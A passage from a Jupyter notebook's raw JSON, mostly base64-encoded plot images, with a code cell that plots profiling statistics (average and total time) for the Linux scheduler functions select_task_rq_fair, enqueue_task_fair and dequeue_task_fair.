5T7di96q/j\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7f5361b61b10>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Plot Average and Total execution time for the specified\n", "# list of kernel functions\n", "trace.analysis.functions.plotProfilingStats(\n", " functions = [\n", " 'select_task_rq_fair',\n", " 'enqueue_task_fair',\n", " 'dequeue_task_fair'\n", " ],\n", " metrics = [\n", " 'avg',\n", " 'time',\n", " ]\n", ")" ] }, { "cell_type": "code", "execution_count": 14, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAA+0AAAHzCAYAAABVBPzRAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xu0XWV9L/zvL1yKlERAKAJCFIEiEAUU5LRIg1qgakWO\noEgbOHK0VF+12pva1hL0HCmtpd6qLS16tK+K2nrBUy/0FgRbBEW8EkF4CSAXBYIEQW553j/W2mFl\ns7OzQ5I9Z1ifzxh7ZM05nznXb661M8b+rueyqrUWAAAAoH/mdF0AAAAAMDWhHQAAAHpKaAcAAICe\nEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcANqiq+o+qOuURnntYVV2xoWuawfN+vqoWzfbzAsDaCO0A\njKWqWlJVt1fVFl3XsqFU1VFVdUFV3VlVtwzD8693Xdd0qmplVe0xsd1au6i19pQN/ByHVdWK4ety\n1/A57xzZ94TW2vNaa/+wIZ+3K1W1d1V9oqp+XFXLq+ryqnpDDcwfuf87q+qaqnrj8LyJY3MmXe+D\nVfXWbu4GAKEdgLFTVfOTHJLkR0leuJGeY7ONcd1pnu+4JJ9I8n+S7Npa2ynJnyZ5wWzW8Qi0jf4E\ngw8C5rbW5iXZb/icj53Y11q7YWPXsDFM9TtWVU9OcnGSZUn2b61tl+T4JAclmTtsNnH/85KcmORP\nq+rIkWMA9IjQDsA4OinJvyT5cJL/MbGzqg6pqpuqqkb2HVtV3xw+rqp6U1X9YNiLeW5VbTs8NtFL\neUpVLUvyb8P9nxhec/mwd3/fkWtvX1Wfq6qfVNVXq+ptVXXhyPF9qur8qrqtqq6oquOnuae/THJ6\na+2DrbUVSdJau7C1dupI7X9SVddW1c1V9X+qat6k2v9HVV1XVbdW1W9X1TOq6pvDEQnvGanr5Kq6\nqKreU1V3VNX3qurZayps+Jp8b3gfX6iq3Yb7L0hSSb417PU9vqp+paqun/Qa/Mfw9fv26MiBYQ/w\ne6vq/w7P/6+qetI0r9FqZU2qcdWQ/pH7O2v4vFdV1S+NvD43V9VJI+duWVXvqKplw/f6fVX1c2t4\nLaZ97apqXlX9fVXdWFXXD38naoq6bk1y2hRPsTjJV1prf9BauyVJWmtXtdYWtdbunHz/rbWLk3w3\nyf4zetGqnjz8Pb6jqn5UVR+byXkAPHJCOwDj6KQkH0/yySRHVdWOSdJauyTJXUlGA+jLkvy/w8ev\ny6Bn/llJdkmyPMn7Jl378CT7JDlquP35JE9O8gtJLkvykZG270uyYnjsfyQ5OcOezqraOsn5w+fe\nIckJSf66qvaZfDNV9YtJnpDkn6a555cP7/tXkuyRQa/reye1OSTJnsN7fmeSP87gtdg/yUuq6lkj\nbZ+Z5Kokj8sgKH5q4gOMSbUdk+RNSV6UZMckFyY5N0laa78ybLZg2OP9yeH2xGuweZLPJfni8NzX\nJflIVe018hQvzSC8bpvk6iT/e5rXYF0ckuTyJNsP6/14kqdn8F4uSvLe4XuUJGdm8Lo9dfjvrhmM\ncliT6V67DyW5L4P36MAkv5rkFZPO/UEGvzNT3etzk/zjDO5v4oOAX06ybwa/mzPxtiRfaq1tm8Hv\n3HvW0h6A9SS0AzBWquqwDELVea21qzLoZTxxpMm5E9tVNTfJ85JM9CaemuSPW2s3tdbuT/LWJMfV\nQ3OAW5LTWmv3tNbuTZLW2v9prd090v5pVTV3eM5/T/KnrbV7W2tXZBDYJrwgyf/XWvtwG/hmkk9l\nMNR5sscN/71pmls/MclZrbVlrbW7k7w5yQmTan9ra+2+1tq/ZPDhxUdaa7e11m7MIGwfOHK9W1pr\n726tPdha+0SS7yd5/hTPe2qSM1prV7bWVib5syQHTPS2D9UU5yXJf0vy8621M1trD7TW/iPJ/83g\nQ4UJn26tfX147Y8kOWCa12BdrHrtMwjsu2QwkuH+4etzXwYBPUlemeQNrbWftNZ+OrzHl0151YEp\nX7uq+oUkvza81s9aa7dm8OHJ6LV+2Fp7X2tt5cTv2CSPy/S/B8ng9f5xVd2W5Owkb2ytLVnLORPu\nTzK/qnYd/q785wzPA+AR2rzrAgBglp2U5PzW2l3D7U9m0MP9ruH2R5N8pap+O4NQ/fWROc/zk3y6\nqlYOtyuDELPTyPVXzY8eBuK3Jzkug97yNvzZIcnWSTYbbZ/k+pHH85McWlW3jzzXZkmmWizttuG/\nO2cwl3kqu0w6tiyDvwNGa//RyON7ptjeZmT7h5Ouv2z4HJPNT/KuqvrL4XZl8BrsmtXvdyo7T9Fm\n2fDcCTePPL57Uo3r45aRx/ckyTBEj+7bZjhKY+skX6+HZlXMyZo/iEjW/NrNT7JFkpsmRsQPf64b\nabu21+y2DF636bQkjxt+IDHqgeG/WyQZ/UBgiwx+z5PkD5L8rySXDH83z2qtfXAtzwfAehDaARgb\nVbVVkpckmVNVE72RWybZtqoWtNa+3Vq7ogZz0p+XQQ/nR0cucV2SU1pr/zXFtecPH44GoROT/HqS\nZ7fWrquqx2YwpL6S/DiDkPSEDIY7J8lo7/P1SZa01o7KWrTWvj+cB/7iJGetodmNGYTCCfMzCGK3\nTHremdp10vbuST47Rbvrk/yv1tojmft8Yx5e2+4Z9Ez3xa0ZfFiwX2ttbT3cE9b02l2f5GeZOlBP\nWNtCcf+awe/Bh9bSbuLDk1E3ZfA78cSs/ho/KYOpGmmt/SjJbyWrhtb/a1Vd0Fq7Zi3PB8AjZHg8\nAOPk2AyC8lOSPG3485QMhn6fPNLuo0l+J4O5658c2f+3Sd5eVbsnSVXtWFWjq89P7l2dm0GP5fKq\n+vkkZ2QYlIbDuT+VZHFVPWY4V/2kkXP/b5K9q+o3q2rzqtpiuDDcw+a0D/1ekrcMFyubWwOHVdXf\nDI9/LMkbquqJVbVNBvOhzx3WMVXta/MLVfXaYW3HZzCP/5+naPc3Sf6ohgvwVdVja7DS/YSbM5i/\nPZWvJrm7qv5w+DwLM5g2sL6Ln63rva7xnGG4/rsk75xYG6Gqdq2HVmOfylSv3edbazdnEI7/auQ9\n3KOqDl+HOk9L8ktVdWZV7TSsZ8+q+ocaLjw4zb2szGBdhP9dg0USN6+ql2Xwf+QLw2sdV1UTHzrc\nkWTl8AeAjURoB2CcnJTkA621H7bWfjTxk+Svk5w4Mr/73AwWlPu31trtI+e/K4Me0fOr6idJ/jOD\nBcsmTO65/HAGvfM/TPKdYftRr81gAbWbMugZ/WiGw5KHw/ePzGABuhuHP3+WwciAh2mt/VMGi7L9\nz+Hz3ZzBHPqJ3u8PZDC0/ssZLNh2dwYLu62p9rVtfzXJXhn0NL8tyYtba3dMbtta+8yw7nOr6o4k\n30py9Mh1Fif5cA1WqB8N8xmuA/DrGYx6uDWDhfMWDdcimKqmmZrqvLVda7rX400ZjJa4eHiP5yfZ\ne5prTfXaLR8eOymD9/h7SW7P4EOjx6+ltoeKGvR4/7cMese/W1XLh9e4NINFD6e6l1GvHj7vtzIY\nhfHqJM9rrf14ePzgJF+tqjuTfCbJ61pr1860PgDWXa159BUzVVVHZ7BQzJwk57TWzlxDu4Mz+IPt\npa21T63LuQA8+lXVnyXZqbX28q5rmU5VnZzkf7bW1qUHmHjtAFh3etrX07BX5r0ZfLXPfkletoav\n45mTQU/Dl9b1XAAenarqF6tqwfDxIRn0kn+q26oAgD4R2tffIUmuGn6Fzv0ZDKk8Zop2r83ge1N/\n9AjOBeDRaW4G39F9VwbztP+itfa5jmsCAHrE6vHrb/JX1tyQ1ec3pqp2SfKi1toRw56UGZ8LwKNX\na+1rGcxt3qS01j6Uta9OzhS8dgCsK6F9drwzyRvX5wJVZfEBAACAR6nW2pTf7iG0r78fZvD9qhOe\nMNw36hkZrJpbSXZI8mtV9cAMz13FooEAAACPPoOoODWhff1dmmTPqpqfwVf2nJDkZaMNWmurvn+2\nqj6Y5HOttfOqarO1nQsAAMD4EtrXU2vtwap6TQbfyTrxtW1XVNWpg8Pt7MmnrO3c2aodAACAfvM9\n7ZuIqmreKwAAgEefqlrjnHZf+QYAAAA9ZXg8AADAOnriE5+YZcuWdV0Gm5j58+fn2muvXadzDI/f\nRBgeDwAA/TEcztx1GWxi1vR7Y3g8AAAAbIKEdgAAAOgpoR0AAAB6SmgHAACAnhLaAQAAWKMPfehD\nedazntV1GbPm/e9/fx7/+Mdn3rx5Wb58+bRtzzjjjPzWb/3WRq3HV74BAABsAI9//BNzyy0b72vg\ndtppfm6++dqNdv3pVE25sPnDnH766bn66qvz4Q9/eCNXtHE88MAD+b3f+71ccskl2X///dfa/s1v\nfvNGr0loBwAA2AAGgX3jfQ3cLbfMLDjzkAcffDCbbbbZWvdNuPnmm3PvvffmKU95ykZ57kfC8HgA\nAIBHmTlz5uSaa65Ztf3yl788f/qnf5okueCCC7LbbrvljDPOyI477pg99tgjH/3oR1e1vf322/PC\nF74wj33sY3PooYfm6quvXu3ar3/967P77rvnsY99bA4++OBcdNFFSZIvfelLefvb356Pf/zjmTt3\nbg488MAkyZ133plXvOIV2WWXXbLbbrvlLW95y4y+4/7v/u7vsu+++2bevHnZf//9c/nll8/43v78\nz/88O++8c0455ZQp903lqquuyj777JMk2W677fLc5z532vtNBiMLFi1alCRZtmxZ5syZkw984AOZ\nP39+nvOc56z1HmdCTzsAAMCjzNqGs9988825/fbbc+ONN+a//uu/8rznPS8HH3xw9tprr7z61a/O\n1ltvnVtuuSVXX311jjrqqOyxxx6rzj3kkEOyePHizJs3L+9617ty/PHHZ9myZTnqqKPyR3/0Rw8b\nHn/yySdn5513zjXXXJO77rorL3jBC7L77rvnla985Rrr++QnP5m3vvWt+exnP5uDDjoo11xzTbbY\nYosZ39sdd9yR6667LitXrszFF1/8sH1T2WuvvfLd7343e+yxR37yk5+sep413e+WW245ZT1f/vKX\ns3Tp0syZs2H6yPW0AwAAPMqsrSe7qvK2t70tW2yxRQ4//PA8//nPzyc+8YmsXLkyn/rUp/K2t70t\nW221Vfbbb7+cfPLJq5174oknZtttt82cOXPyhje8Iffee2++//3vT/k8P/rRj/KFL3whf/VXf5Wt\nttoqO+ywQ17/+tfnYx/72LT1nXPOOfnDP/zDHHTQQUmSPfbYI7vtttuM7m2zzTbL6aefni222CI/\n93M/t8Z90xl9jnW536rK6aefnsc85jEzep6ZENoBAADGzHbbbZetttpq1fb8+fNz44035sc//nEe\neOCBPOEJT1jt2Kh3vOMd2XfffbPddttlu+22y5133plbb711yudZtmxZ7r///uy8887Zfvvts912\n2+W3f/u319h+wvXXX58nP/nJj+jedtxxx1W98tPtm6l1ud8kq712G4LQDgAA8Ciz9dZb5+677161\nffPNN692fPny5bnnnntWbV933XXZZZddsuOOO2bzzTfP9ddfv9qxCRdeeGH+4i/+Iv/4j/+Y5cuX\nZ/ny5Zk3b96qnunJQ8V32223bLXVVrntttty++23Z/ny5bnjjjvyrW99a9r6d9ttt4fNpZ/pvU01\nfH6mq99PdtFFF017v1N5pM+1JkI7AADAo8yBBx6Yj370o1m5cmW++MUv5oILLljteGstp512Wu6/\n//5ceOGF+ed//ue85CUvyZw5c/LiF784ixcvzj333JPvfe97+dCHPrTqvLvuuitbbLFFHve4x+W+\n++7LW9/61qxYsWLV8Z122inXXnvtqlD7+Mc/PkceeWTe8IY3ZMWKFWmt5ZprrsmXv/zlaet/xSte\nkXe84x257LLLkiRXX331qg8S1nZv62s0kK9YsWLa+53u3A1FaAcAANgAdtppfpLaaD+D68/MO9/5\nzpx33nnZbrvt8rGPfSzHHnvsasd33nnnbLfddtlll12yaNGi/O3f/m322muvJMl73vOerFixYtVK\n66OrrR911FE56qijsvfee+dJT3pStt5661VzzZPk+OOPT2stj3vc4/KMZzwjSfKhD30o9913X/bd\nd99sv/32Of744x/WOz7Zcccdlz/+4z/OiSeemHnz5uXYY4/N7bffPqN7W1+jPeVru9/pzt1g9WyM\nTwLY8Kqqea8AAKAfqmqj9KrOhgsuuCCLFi1abdg7s2NNvzfD/VMmfl/5BjCNxz/+ibnllmVdlwEA\ns2Knnebn5puv7boMYITh8QDTGAT25sePHz9+/IzFjw+qmU2vetWrMnfu3MybNy/z5s1b9fjVr371\nRn3eM844Y7Xnnfh5/vOfv1Gf95EyPH4TYXg8dGMwL8n/PQDGxaY75Hu2bcrD4+nOIxker6cdAAAA\nekpoBwAAgJ4S2gEAAKCnrB4PAACwjubPn79RvpObR7f58+ev8zkWottEWIgOumEhOgDGi8XVoAsW\nogMAAIBNkNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBTQjsA\nAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0lNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0\nlNAOAAAAPSW0AwAAQE8J7QAAANBTQjsAAAD0lNC+AVTV0VW1tKqurKo3TnH8hVX1zar6RlV9raqe\nPXLs2pFjl8xu5QAAAPRZtda6rmGTVlVzklyZ5DlJbkxyaZITWmtLR9ps3Vq7e/h4QZJPt9b2HG5f\nk+TprbXla3me5r2C2VdVSfzfA2BcVPzNCbOvqtJaq6mO6Wlff4ckuaq1tqy1dn+Sc5McM9pgIrAP\nbZPk1pHtivcBAACAKQiL62/XJNePbN8w3LeaqnpRVV2R5PNJXjdyqCX5l6q6tKpeuVErBQAAYJOy\nedcFjIvW2meSfKaqDkvyD0l+cXjol1trN1XVjhmE9ytaaxdNdY3Fixeverxw4cIsXLhw4xYNAADA\nBrdkyZIsWbJkRm3NaV9PVXVoksWttaOH229K0lprZ05zztVJDmmt3TZp/2lJVrTWzpriHHPaoQPm\ntAMwXsxphy6Y075xXZpkz6qaX1VbJjkhyXmjDarqySOPD0qS1tptVbV1VW0z3P/zSY5M8p1ZqxwA\nAIBeMzx+PbXWHqyq1yQ5P4MPQc5prV1RVacODrezk7y4qk5Kcl+SnyZ56fD0nZJ8uqpaBu/FR1pr\n58/+XQAAANBHhsdvIgyPh24YHg/AeDE8HrpgeDwAAABsgoR2AAAA6CmhHQAAAHpKaAcAAICeEtoB\nAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACg\np4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2\nAAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA\n6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6Cmh\nHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAAAHpKaAcAAICeEtoBAACgp4R2AAAA6CmhHQAA\nAHpKaN8AquroqlpaVVdW1RunOP7CqvpmVX2jqr5WVc+e6bkAAACMr2qtd